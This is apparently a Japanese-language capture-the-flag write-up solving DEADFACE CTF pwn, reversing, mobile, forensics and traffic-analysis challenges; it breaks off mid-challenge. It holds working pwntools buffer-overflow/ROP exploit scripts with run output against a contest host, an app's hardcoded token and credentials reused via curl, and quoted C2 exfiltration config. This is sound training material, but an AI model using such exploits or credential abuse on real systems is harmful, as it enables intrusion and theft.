                             nothing_at_all[1]                               XREF[4,1]:   de_crypt:00401614(*), 
                             nothing_at_all                                               de_crypt:0040161b(*), 
                                                                                          de_crypt:0040163e(*), 
                                                                                          de_crypt:00401645(*), 
                                                                                          de_crypt:00401645(*)  
        00405080 5c 63 76        undefine
                 7d 4c 47 
                 7b 76 4c 
           00405080 5c              undefined15Ch                     [0]                               XREF[4]:     de_crypt:00401614(*), 
                                                                                                                     de_crypt:0040161b(*), 
                                                                                                                     de_crypt:0040163e(*), 
                                                                                                                     de_crypt:00401645(*)  
           00405081 63              undefined163h                     [1]                               XREF[1]:     de_crypt:00401645(*)  
           00405082 76              undefined176h                     [2]
           00405083 7d              undefined17Dh                     [3]
           00405084 4c              undefined14Ch                     [4]
           00405085 47              undefined147h                     [5]
           00405086 7b              undefined17Bh                     [6]
           00405087 76              undefined176h                     [7]
           00405088 4c              undefined14Ch                     [8]
           00405089 57              undefined157h                     [9]
           0040508a 7c              undefined17Ch                     [10]
           0040508b 7c              undefined17Ch                     [11]
           0040508c 61              undefined161h                     [12]
           0040508d 4c              undefined14Ch                     [13]
           0040508e 47              undefined147h                     [14]
           0040508f 7c              undefined17Ch                     [15]
           00405090 4c              undefined14Ch                     [16]
           00405091 5d              undefined15Dh                     [17]
           00405092 7c              undefined17Ch                     [18]
           00405093 64              undefined164h                     [19]
           00405094 7b              undefined17Bh                     [20]
           00405095 76              undefined176h                     [21]
           00405096 61              undefined161h                     [22]
           00405097 76              undefined176h                     [23]
           00405098 00              undefined100h                     [24]
        00405099 00              ??         00h
        0040509a 00              ??         00h
        0040509b 00              ??         00h

de_cryptで取得する文字列と入力文字列で比較し、一致する場合whispering_madnessがコールされる。
de_cryptはnothing_at_all以下と0x13をXORしたデータを生成しているので、正しい文字列を入力すれば、whispering_madnessが実行される。
whispering_madnessはBOFの脆弱性があるため、そこでnowhereをコールすればよい。

$ ROPgadget --binary The_Crypt | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x3f
0x000000000040164c : ret 0x458b
0x00000000004015ba : ret 0xc148
0x00000000004015c0 : ret 0xeac1
0x0000000000401371 : retf
0x0000000000401632 : retf 0x1088
0x00000000004013d2 : retf 0x1a
0x000000000040148d : retf 0x2948
0x0000000000401022 : retf 0x3f
0x00000000004015b1 : retf 0xabb8
0x00000000004014b2 : retf 0xc148
0x00000000004015d0 : retf 0xd089
0x0000000000401272 : retf 0xfffd
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('159.65.228.107', 5001)
else:
    p = process('./The_Crypt')

elf = ELF('./The_Crypt')

ret_addr = 0x401016
nowhere_addr = elf.symbols['nowhere']

with open('The_Crypt', 'rb') as f:
    ct = f.read()[0x4080:0x4098]

pwd = ''.join([chr(c ^ 0x13) for c in ct])

data = p.recvuntil(b'Required): ').decode()
print(data + pwd)
p.sendline(pwd.encode())

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(nowhere_addr)

data = p.recvuntil(b'REALM?!\":').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 159.65.228.107 on port 5001: Done
[*] '/mnt/hgfs/Shared/The_Crypt'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
          :&  &&&   && &&&&X&  &   :  &   &&&  &                                                           &     &&
          & &    &&&&  &&   & &&       &&    &&  . &          &               &                   . $    & & & &&  &                                                                                 
          &&  &$&&&& &               &&     &&&& .          &&&&&           &&&&                   & & &&&   & & X                                                                                   
          &  && &   &     &          &       &   &            &               &                         & x&& & &                                                                                    
           & &&&&&&&&&& &  &      & &       &&&&    &:        &             &&&&                    & &&  &   &  & &                                                                                 
           &&      &  &: && $&&  & & &      &&&&            &&&&             &&&                 ;   &    &   +                                                                                      
           &  &&&&  && &&&&          x      &&&           $&&$&&&&           &&&            &   ;  &     : & &; &&&&                                                                                 
          && &        &   & &&&& &    $&&&  &&&& &       &x&  &&&&&&         &&&               $& & &   & && &  &&                                                                                   
            &   &:& &  &      &  &    &     &&&        & &&& &&&&&&&&        &;&             & & && &&&    & & &  &                                                                                  
           &   &  &+&&&&&&&&&&:     &   &   &&&       &&&&+& .& &&&&&        &&&         &       &    & &$   +   &;&                                                                                 
            &&&    &     &    & &&&    &  & &&&       &&& &:;x& &&&&&&       &&&&                     &      & &   &                                                                                 
          &&     $   & &  &&&&&&& &&&&& & & &&&&    $&&& &&&  &.&Xx&&&&&&   &&&&&        &  &  &&&& &      &   &X                                                                                    
           & X &    &&  & & &     &&  &x &&&&&&&&  &&&& &&$&&&& &$&&&&&&&   &&& &       &  &&&     &.      ; & &.&&;                                                                                 
            & & &&&&   &&:    &  X     &   .&&&& &&&&&X&;x &+&&X&    &&&&&& &:&&&          & && & &    &       & & &                                                                                 
          &&&&& & &&& &      &              & &&+ &&&;&;&&$& :& + $ X&&&&&&&&&&&&       x&&&  &X&   && &&  &&&   &x                                                                                  
               +&& &   & &&& X &$          &&&& &&&&&&  $   &&&x      ;&&&&&&&&&&&      &     &$& &  &&$ &&&&&&&&&&&                                                                                 
           &&      &  &   &                &&;&&X&       &&$$&$&&&X     $&&&&&  &&       x.  : &&& && &:&&&&&&&&&&&&                                                                                 
              &  &  &&     &&    &         &X&& & &   +&&.&  &&&  &&& &$&&&&&  &&&        .$&&  .&x+&   &&&&&&&&&&&&                                                                                 
           &     & &   & &&  &             &$&&       & & & &&&&&X&  &    &&&& &&&       && && && &+:X&&&&&x&&&&&&&&                                                                                 
          && &&:        &    & &           &&.& &&&+ & && &&&X&+x&&&&&&X  +.$&  &&     &&&+:   &&  &: &&&&&&&&&&$&&&                                                                                 
           &    & &&      &  &  &&        &&    x  x& & &.x &&&&& +&& &&& x.;&&&&&&   X    X&&X &&&&&  &&&&&&&&&&&&&                                                                                 
            X&       $   &  &  &&         &&&&&&  && & &.&&&&&  &&&&;&.&&:&&&&&&&&&&    X&;  & & &  $& $&&&&&&&&  &&                                                                                 
           &                   +& x        &  X&&x&XX & && &&.  &&&&&&&;& &&&  & &   &&   && & x   &&;& &X&x&&&&&&&&                                                                                 
             & &                 &&        &   .xX& &&&&:&$  &&&  X&&&&&+&&&x&  $& &  && & & & $&&&&  X&&X:;&&&&&&&&                                                                                 
          &&   & &   + & &&&&&  &&: &&     &  &;&&   & &   &&&&&&&X :&&&+&&&&&  &&      &   &&&&&+x&&& &&&&&&&&&&&&&                                                                                 
          &&&& &  &&    &&&+&&      & &    &  & &&.&$&&$&&. &&&&&&&x&+&&&&&&&&.  &    & &&:&&&&$&&&&&X&& &&&&&&&&&&&                                                                                 
          &&&&&:&&& &&&+ && && &  & :  &&& &X.& &&&&& &Xx &&&&&&&&&$&+$&&&&&&& &x& ;& &   +&&&&&&&X &&&&&&&$X&&&&&&&                                                                                 
          &&&&&;&&&&&  &&&:.& Xx&x &&&&.&  && & && & &X&&$&&&    &&&&;&&&&&&&&;+ &&&&&&&x :&&&&&&&&&&&&xx&$&:&+&+&&&                                                                                 
          &&&&&$&&&&&&&  &&x$&&& &&& & &   &  & &&&& &;&   &  &&  &&& :&$&X&&X&.x$&&&&&& &  &&&&&&&&&&& x&.&X$x&&&&&                                                                                 
          &&&&&&:&&&&&&&  x&&&$  &&&&&&&&&& &&& &&X& &&&&$&&&&  & &&&&&&X&x&&&$&x&&&  &&&$ .&&&&&&&&X&&&&&;&&+&&&&&&                                                                                 
          &&&&&&. $&&&&&&&&+&&    &&&&&&&&&:$&& &&x& &   ;&&  &   &&&  &+&;&X&+X:x&&&&&&&&&&&X&&&& X:&&&&&&&;&&&&&&&                                                                                 
          &&&&&&&&&&&&&&&X&&&&  & &&&&&&&&&:$$& &&X& & $ &&& & &X &&$ +&&&;&&&&+$+&:&&&&&&&&&:&&&&.x$&&&&&::&&;&&  &                                                                                 
          &&&&&&& &&&&&&&&&&&&&&& &&&&&&&&&;xX& &&x& &:+ &&&$&& & &&&X &&& &&&&&&$&&+&& +X$;& &&&& & +&&&&:+&  && :&                                                                                 
          &&&&&&& &&&&&&&&&&&&    &&&&&&&&&:$$& &&$& & & &&&&&&&& &&$&+&&& &&&&&&$&& &&&&:&X&x&&&& X +&&&& &&& &&  &                                                                                 
          &&&&&&& &&&&&&&&&&&&    &&&&&&&&&X$X& &&&& & & & &&    &&&$&;&&& &&&&&&&&& &X+&x&:&&&&&&+ &+& &&:&$& $&x &                                                                                 
          &&&&&&& &&&&&&&&&&&$    &+&&&&&&&&& & X&&& & & &;X& &;.&&&:& &&& &&&&&&&&+ &&xX&&X&&&&&&: ;$Xx&& & & &&& &                                                                                 
          &&&&&&& &&&&&&&&&&&     &&&&&&&&&&&&& &&&& & & & && &&&&.&+& $&& &&&&&&&&X &&&+X&&&&&&&&.. x$ &&  && &&& &                                                                                 
          &&&&&&& &&&&&&&&&&& &   &&&&&&&&&.&&. &&&& &&&&& :&&&&&& &&&X+&& && ;&&&&  &&& &X:&&X&&&; ;&X && & & & & &                                                                                 
          &&&&&&& $&&&&&&&&&& :   &&&&&&&&&&&$& &&&& &&&&&&&&&&&&&&&&& &&& &&&&&&&&; &&&X&xX&& &&&X &&; &&:& + ; & &                                                                                 
          &&&&&&& &&&&&&&&&&& X   &&&&&&&&&&&&&  $ &+&&&&&&&&&&&&X&X&&&&&&&&&&&&&&&x &&x&&$&&& &&& x &; &; & &$& & &                                                                                 
                                                                                                                                                                                                     
                                                                                                                                                                                                     
=== CRYPT ACCESS TERMINAL ===                                                                                                                                                                        
                                                                                                                                                                                                     
 [*] The hike here took hours through forgotten, old woods.                                                                                                                                          
 [*] ...It was worth it.                                                                                                                                                                             
 [*] Before you lies a decrepit, crumbling crypt.                                                                                                                                                    
 [*] Theres no door, no windows, just... carved stone.                                                                                                                                               
                                                                                                                                                                                                     
[!] How will you get inside? (Secret Code Required): Open_The_Door_To_Nowhere                                                                                                                        
                                                                                                                                                                                                     
...But you were already headed there, weren't you?                                                                                                                                                   
                                                                                                                                                                                                     
                                                                                                                                                                                                     
Darkness begins to surround you, and frantic, angry whispers coalesce in your mind:                                                                                                                  
                                                                                                                                                                                                     
 [!] "WHO DARES ATTEMPT TO ENTER THE FORGOTTEN REALM?!":b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00`\x16@\x00\x00\x00\x00\x00'           
deadface{d3crypt3d_1nt0_n0th1ng}
[*] Closed connection to 159.65.228.107 port 5001
deadface{d3crypt3d_1nt0_n0th1ng}

Skeleton Key (PWN 125)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_48 [64];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  print_art();
  printf("\n\n\n Well, deep in that old crypt, you found your key...");
  printf("...But do you know how to use it? ");
  printf("Let us see:  ");
  gets(local_48);
  return 0;
}

void Wretched_Lock(int param_1)

{
  int iVar1;
  FILE *__stream;
  
  if (param_1 == -0x21523f22) {
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("[-] ERROR: a valid flag.txt could not be found!");
    }
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

BOFで引数に0xdeadc0deを指定し、Wretched_LockをコールするようROPを組めば、フラグが得られる。

$ ROPgadget --binary Skeleton_Key --re "pop rdi"
Gadgets information
============================================================
0x0000000000401615 : pop rdi ; ret

Unique gadgets found: 1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('159.65.228.107', 5002)
else:
    p = process('./Skeleton_Key')

elf = ELF('./Skeleton_Key')

pop_rdi_addr = 0x401615
Wretched_Lock_addr = elf.symbols['Wretched_Lock']

payload = b'A' * 72
payload += p64(pop_rdi_addr)
payload += p64(0xdeadc0de)
payload += p64(Wretched_Lock_addr)

data = p.recvuntil(b'see:  ').decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 159.65.228.107 on port 5002: Done
[*] '/mnt/hgfs/Shared/Skeleton_Key'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
.....................................................................::=.::.................:.............................................
................................:..................:..............:-.+-=.:.....:..........................................................                                                           
.........................................................:....=:====--==-===+==........................::.................................                                                           
.......................................................:...:=-=:::...:-.:..:::=-=.:.......................................................                                                           
.......................................................:.===:..:..=:-+.:-----..:=-=:.:..........::........................................                                                           
......................................................:--=::.:----========::--:..==--:....................................................                                                           
.....................................................:.=+..--:====:==========-=::...==-......................:............................                                                           
.....................................................:-=..----=========+=======-.:...=-=..................:...............................                                                           
....................................................===..:.=-=----+=========---:.:...:-:=..........:........:..............:..............                                                           
........................................:...:.......-=...::=:-=-===:--=-=+=:==:=.:....=-.-..........:...............:.....................                                                           
.................................................:..-::....==::..+:==--:::..:==:....::--:.........................................::......                                                           
..................................................::=-..:.:=.......-::::.......::....:.:=.................................................                                                           
...................................:...............::==:..:.......:.:=:-.......::.....-:.=..............:.................................                                                           
..................................................:..==::.:::.:...--..::-....:..:....:-::...............:.......:.........................                                                           
..................:...........................:.:...::-=-::.:-:.=--+...=--==:==:-:...--...................................................                                                           
..................................................:.::-:+..:-:.::=...:...:-::.=::.::=-:..:...:............................................                                                           
.......................................................:==++:....:-=++=-::.......-=:-.....................................................                                                           
...................................................:....:.--=::..:=-=:==...:.:=--=-=.:.:..................................................                                                           
....:.:............................................:.......=:=---.+.+.+.=::==---::::...=.......:..........................................                                                           
..........................:...........................:.....:..::-:-:-==--:=..:..:.....................................:..................                                                           
........................................................:...........=:--.....:....:...:...................................................                                                           
.......:.....................:....................................::.==..:........:.....................................................:.                                                           
.........................................................-.........:==--:.......:.:.......................................:.:...:.......:.                                                           
.......................................................:-:.........-=+-:..........=.......................................................                                                           
.......................................................-........:..-.:-...........-.......................................................                                                           
.......................................................:::..........-:=-:.................................................................                                                           
...:......................................................:.......::=+:-..................................................................                                                           
....................................................:..:...........:-===..................................................................                                                           
................................................:.................:....................................................:..................                                                           
.......................................................:...........:+=::.........:........................................................                                                           
...................:.................................:.:............:.:.:.................................................................                                                           
.................................................................:.:---:.....:...:........................................................                                                           
....................................................................-=--.....:.:.:.....:..................................................                                                           
.................................................:.....:............:==:..................................................................                                                           
................................................................:...==::..................................................................                                                           
................................................:..................:=-=...................................................................                                                           
...................................................................::-:=.:................................................................                                                           
..................................................:.....:......:...::::-..........:..................:....................................                                                           
....................................................................-=:-...................................................:..............                                                           
..................................................................:.-+:..:................................................................                                                           
............................................................:......:-:-...................................................................                                                           
...................................................................:=:::.:................................................................                                                           
.............................:....................................::---:..................................................................                                                           
...................................................................:-:--:...:.......................................:.....................                                                           
.....................................................:............:.=.-:..................................................................                                                           
........:.............:..................:.........................:=::-............................:............:..................:.....                                                           
.................................................................::::--:........:.........................................................                                                           
..................................................................::=+-::--:-==:..:::..................::.................................                                                           
......................:...........................................::-:-::--:----==-::...........:.........................................                                                           
...................................................................:-==::-:----.-=-......................................:................                                                           
:.........................................................:........:-::-:-:-:....:.:......................................................                                                           
...................................................................:==:::-.---:::.........................................................                                                           
..................................:...............:.................-=:-:=---...::........................................................                                                           
.................................................................:.:==:::-:--:-:-:-.......................................................                                                           
:...:....:..........:............................................:.:==::::.--=---=-....................:..................................                                                           
..................................:........................:........==::.....:..::..............................:.........................                                                           
.................................................................:.:-=-:.....:..::.:......................................................                                                           
...:.........:....................................................:::=.:.....:..:..:......................................................                                                           
                                                                                                                                                                                                     
                                                                                                                                                                                                     
                                                                                                                                                                                                     
 Well, deep in that old crypt, you found your key......But do you know how to use it? Let us see:                                                                                                    
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x15\x16@\x00\x00\x00\x00\x00\xde\xc0\xad\xde\x00\x00\x00\x00\x07\x15@\x00\x00\x00\x00\x00'                                
deadface{R355UR3CT_D34D_C0D3}                                                                                                                                                                        
[*] Closed connection to 159.65.228.107 port 5002
deadface{R355UR3CT_D34D_C0D3}

It But A Wee Bit Reverse (Reverse Engineering 15)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char *pcVar1;
  undefined8 uVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  ulong local_78;
  ulong local_70;
  byte local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter password: ");
  pcVar1 = fgets((char *)local_58,0x40,stdin);
  if (pcVar1 == (char *)0x0) {
    uVar2 = 1;
  }
  else {
    sVar3 = strcspn((char *)local_58,"\n");
    local_58[sVar3] = 0;
    sVar3 = strlen((char *)local_58);
    if (sVar3 == 10) {
      for (local_78 = 0; local_78 < 10; local_78 = local_78 + 1) {
        if ((local_58[local_78] ^ 0x42) != pw_enc[local_78]) {
          puts("Access denied.");
          uVar2 = 1;
          goto LAB_0010137b;
        }
      }
      puts("Access granted!");
      for (local_70 = 0; local_70 < 0x1f; local_70 = local_70 + 1) {
        putchar((int)(char)local_58[local_70 % 10] ^ (uint)(byte)flag_enc[local_70]);
      }
      putchar(10);
      uVar2 = 0;
    }
    else {
      puts("Access denied.");
      uVar2 = 1;
    }
  }
LAB_0010137b:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

                             pw_enc                                          XREF[2]:     main:001012ca(*), 
                                                                                          main:001012d8(*)  
        00104010 31 37 2c        undefine
                 31 2a 2b 
                 2c 27 76 70
           00104010 31              undefined131h                     [0]                               XREF[2]:     main:001012ca(*), 
                                                                                                                     main:001012d8(*)  
           00104011 37              undefined137h                     [1]
           00104012 2c              undefined12Ch                     [2]
           00104013 31              undefined131h                     [3]
           00104014 2a              undefined12Ah                     [4]
           00104015 2b              undefined12Bh                     [5]
           00104016 2c              undefined12Ch                     [6]
           00104017 27              undefined127h                     [7]
           00104018 76              undefined176h                     [8]
           00104019 70              undefined170h                     [9]
        0010401a 00              ??         00h
        0010401b 00              ??         00h
        0010401c 00              ??         00h
        0010401d 00              ??         00h
        0010401e 00              ??         00h
        0010401f 00              ??         00h

pw_encを0x42とXORすれば、パスワードを復号できる。

>>> ct = [0x31, 0x37, 0x2c, 0x31, 0x2a, 0x2b, 0x2c, 0x27, 0x76, 0x70]
>>> ''.join([chr(c ^ 0x42) for c in ct])
'sunshine42'
$ ./re02.bin
Enter password: sunshine42
Access granted!
deadface{x0r_1s_not_encryption}
deadface{x0r_1s_not_encryption}

Hard Kept Secrets (De Monne Slayer 20)

Bytecode Viewerでデコンパイルする。

package com.demonne.financial.api;

import okhttp3.OkHttpClient;
import okhttp3.logging.HttpLoggingInterceptor;
import okhttp3.logging.HttpLoggingInterceptor.Level;
import retrofit2.Retrofit;
import retrofit2.converter.gson.GsonConverterFactory;

public class ApiClient {
   private static final String INTERNAL_API_TOKEN = "zqJRlVwBA9Xm2lE5EPjgbj/4rOxlkYZgDtkdP7jV80rZgLFrlnOEn+VAu31YKQrR";
   private static Retrofit retrofit;

   public static Retrofit getInstance() {
      if (retrofit == null) {
         HttpLoggingInterceptor var0 = new HttpLoggingInterceptor();
         var0.setLevel(Level.NONE);
         OkHttpClient var1 = (new OkHttpClient.Builder()).addInterceptor(new InternalTokenInterceptor("zqJRlVwBA9Xm2lE5EPjgbj/4rOxlkYZgDtkdP7jV80rZgLFrlnOEn+VAu31YKQrR")).addInterceptor(new AuthInterceptor()).addInterceptor(var0).build();
         retrofit = (new Retrofit.Builder()).baseUrl("http://dmf.dctf.io:8081/").addConverterFactory(GsonConverterFactory.create()).client(var1).build();
      }

      return retrofit;
   }

   public static ApiService getService() {
      return (ApiService)getInstance().create(ApiService.class);
   }
}

APIトークンは埋め込まれていた。

deadface{zqJRlVwBA9Xm2lE5EPjgbj/4rOxlkYZgDtkdP7jV80rZgLFrlnOEn+VAu31YKQrR}

Inside Man (De Monne Slayer 20)

デコンパイル結果に以下の部分がある。

package com.demonne.financial.api;

import okhttp3.OkHttpClient;
import okhttp3.logging.HttpLoggingInterceptor;
import okhttp3.logging.HttpLoggingInterceptor.Level;
import retrofit2.Retrofit;
import retrofit2.converter.gson.GsonConverterFactory;

public class ApiClient {
   private static final String INTERNAL_API_TOKEN = "zqJRlVwBA9Xm2lE5EPjgbj/4rOxlkYZgDtkdP7jV80rZgLFrlnOEn+VAu31YKQrR";
   private static Retrofit retrofit;

   public static Retrofit getInstance() {
      if (retrofit == null) {
         HttpLoggingInterceptor var0 = new HttpLoggingInterceptor();
         var0.setLevel(Level.NONE);
         OkHttpClient var1 = (new OkHttpClient.Builder()).addInterceptor(new InternalTokenInterceptor("zqJRlVwBA9Xm2lE5EPjgbj/4rOxlkYZgDtkdP7jV80rZgLFrlnOEn+VAu31YKQrR")).addInterceptor(new AuthInterceptor()).addInterceptor(var0).build();
         retrofit = (new Retrofit.Builder()).baseUrl("http://dmf.dctf.io:8081/").addConverterFactory(GsonConverterFactory.create()).client(var1).build();
      }

      return retrofit;
   }

   public static ApiService getService() {
      return (ApiService)getInstance().create(ApiService.class);
   }
}

package com.demonne.financial.api;

import com.demonne.financial.models.LoginRequest;
import retrofit2.Call;
import retrofit2.http.Body;
import retrofit2.http.GET;
import retrofit2.http.POST;
import retrofit2.http.Path;

public interface ApiService {
   @GET("api/accounts")
   Call getAccounts();

   @GET("api/auth/me")
   Call getProfile();

   @GET("api/accounts/{id}/statements")
   Call getStatements(@Path("id") int var1);

   @GET("api/accounts/{id}/transactions")
   Call getTransactions(@Path("id") int var1);

   @POST("api/auth/login")
   Call login(@Body LoginRequest var1);
}

package com.demonne.financial;

import android.content.Intent;
import android.os.Bundle;
import android.text.Editable;
import android.view.View;
import android.widget.ProgressBar;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.demonne.financial.R.id;
import com.demonne.financial.R.layout;
import com.demonne.financial.R.string;
import com.demonne.financial.api.ApiClient;
import com.demonne.financial.models.LoginRequest;
import com.demonne.financial.models.LoginResponse;
import com.demonne.financial.utils.SessionManager;
import com.google.android.material.textfield.TextInputEditText;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

public class LoginActivity extends AppCompatActivity {
   private static final String INTERNAL_ACCOUNT = "audit@demonne-financial.local";
   private static final String INTERNAL_PASS = "demonnefinancial";
   private TextInputEditText etEmail;
   private TextInputEditText etPassword;
   private ProgressBar progressBar;
   private TextView tvError;

        :
        :

      if (!var3.isEmpty() && !var2.isEmpty()) {
         this.setLoading(true);
         this.tvError.setVisibility(8);
         if (var3.equalsIgnoreCase("audit@demonne-financial.local") && var2.equals("demonnefinancial")) {
            this.performInternalLogin(var3, var2);
         } else {

        :
        :

以上から、ログイン認証してみる。

$ curl http://dmf.dctf.io:8081/api/auth/login -H "Content-Type: application/json" -d '{"email": "audit@demonne-financial.local", "password": "demonnefinancial"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJlbWFpbCI6ImF1ZGl0QGRlbW9ubmUtZmluYW5jaWFsLmxvY2FsIiwiZXhwIjoxNzkyNDA1ODU3fQ.wFG7U14kFURVLI3l8GUJYenmOPuWmoBIk4MpH-Q6iW8","user":{"email":"audit@demonne-financial.local","id":5,"message":"deadface{l3FT_b3Hind!}","name":"Audit System"}}
deadface{l3FT_b3Hind!}

Diagnosis (De Monne Slayer 100)

デコンパイル結果に以下の部分がある。

package com.demonne.financial.internal;

import android.os.Build;
import android.os.Bundle;
import android.os.Build.VERSION;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.demonne.financial.R.id;
import com.demonne.financial.R.layout;

public class DiagnosticActivity extends AppCompatActivity {
   protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(layout.activity_diagnostic);
      ((TextView)this.findViewById(id.tvDiagOutput)).setText("build.version   : 2.4.1 (5)\nbuild.env       : production\nbuild.timestamp : 2026-01-14T09:00:00Z\napi.endpoint    : http://dmf.dctf.io:8081\ndevice.model    : " + Build.MODEL + "\ndevice.sdk      : " + VERSION.SDK_INT + "\ndevice.id       : " + Build.ID + "\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\ndiagnostic.code : deadface{flaG_ManIfesT3d}\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\nstatus          : internal build — not for distribution\n");
   }
}
deadface{flaG_ManIfesT3d}

Locked... or Not (Mobile 150)

Bytecode Viewerでデコンパイルする。

package com.deadface.securenoteslite;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.deadface.securenoteslite.R.id;
import com.deadface.securenoteslite.R.layout;
import java.nio.charset.StandardCharsets;

public class MainActivity extends Activity {
        :
        :
   private String getSecureBackupText() {
      return new String(Base64.decode("ZGVhZGZhY2V7ZXotbW9iaWxlLXRvLXN0YXJ0fQ==", 0), StandardCharsets.UTF_8);
   }


        :
        :

base64文字列をデコードしてみる。

$ echo ZGVhZGZhY2V7ZXotbW9iaWxlLXRvLXN0YXJ0fQ== | base64 -d          
deadface{ez-mobile-to-start}
deadface{ez-mobile-to-start}

Hooked (Forensics 25)

DB Browserでctf_artifacts\Chrome\User Data\Default\Historyを開き、urlsテーブルを見てみる。

一番怪しいURLは以下の通り。

http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc
deadface{http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc}

Art Heist: The Forgery (Forensics 25)

EXIFを順番に見ていく。

$ exiftool Painting_001.png
ExifTool Version Number         : 13.25
File Name                       : Painting_001.png
Directory                       : .
File Size                       : 2.2 MB
File Modification Date/Time     : 2026:09:02 05:13:15+09:00
File Access Date/Time           : 2026:10:18 17:26:43+09:00
File Inode Change Date/Time     : 2026:09:02 05:13:15+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1024
Image Height                    : 1024
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Software                        : Atelier Archive
XMP Toolkit                     : Image::ExifTool 13.55
Creator                         : Vincent van Gogh
Description                     : A digital reinterpretation of a classic nocturnal landscape.
Title                           : Starry Night Over the Cyber City
Create Date                     : 1889:06:01 00:00:00
Modify Date                     : 1889:06:01 00:00:00
Image Size                      : 1024x1024
Megapixels                      : 1.0
$ exiftool Painting_002.png          
ExifTool Version Number         : 13.25
File Name                       : Painting_002.png
Directory                       : .
File Size                       : 1863 kB
File Modification Date/Time     : 2026:10:15 12:47:16+09:00
File Access Date/Time           : 2026:10:18 17:26:43+09:00
File Inode Change Date/Time     : 2026:10:15 12:47:16+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1024
Image Height                    : 1024
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : checksum mismatch; palette recovered from cache
Software                        : LAMIA Restoration Utility 0.0.13
XMP Toolkit                     : Image::ExifTool 13.55
Creator                         : Leonardo da Vinci / LAMIA
Description                     : Authenticity status: pending. Restoration log incomplete.
Identifier                      : deadface{L4MIA_SIGNS_HER_WORK}
Rights                          : LAMIA temporary acquisition
Subject                         : archive; restoration; pending; checksum
Title                           : Mona Lisa Loading
Keywords                        : portrait, renaissance, loading, cache, checksum
Create Date                     : 1503:04:01 00:00:00
Modify Date                     : 2026:09:01 20:00:00
Image Size                      : 1024x1024
Megapixels                      : 1.0

Painting_002.pngにEXIFとして、Identifierにフラグが設定されていた。

deadface{L4MIA_SIGNS_HER_WORK}

Data Go Brrrrr (Traffic Analysis 25)

ICMPを見ていくと、途中からDATA部があるので、抽出する。

No.13: ZGVhZGZh
No.15: Y2V7aWNt
No.17: cF8zeGZp
No.19: bF93aDNu
No.21: X3RoM3lf
No.23: bGVhc3Rf
No.25: c3VzcDNj
No.27: dH0=

すべて結合して、base64デコードする。

$ echo ZGVhZGZhY2V7aWNtcF8zeGZpbF93aDNuX3RoM3lfbGVhc3Rfc3VzcDNjdH0= | base64 -d
deadface{icmp_3xfil_wh3n_th3y_least_susp3ct}
deadface{icmp_3xfil_wh3n_th3y_least_susp3ct}

Twilight Zone Transfer (Traffic Analysis 50)

DNSの最後の方の通信にAXFRのレスポンスがある。その中の_flag.deadface-cc.netのTXTレコードのデータにフラグがあった。

deadface{dns_zone_transfer}

Bad Guys Be Bad (Traffic Analysis 350)

httpでフィルタリングする。
1つだけ/staging.binにアクセスしているパケットがあるので、HTTPストリームを見てみる。

GET /staging.bin HTTP/1.1
Host: 45.13.37.7:8080
User-Agent: X-Loader/1.0 (bmljZSB0cnkgLSB3cm9uZyB0aHJlYWQsIGtlZXAgZGlnZ2luZw==)


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 106

# staging config -- do not commit
mode=exfil
channel=dns
xor_key=Sp00ky
target=exfil.deadface-c2.net

dnsでフィルタリングする。
exfil.deadface-c2.netのサブドメインの問い合わせを行っている部分があるので、抽出する。

No.421: s00-G4KVCVANDAYB.exfil.deadface-c2.net
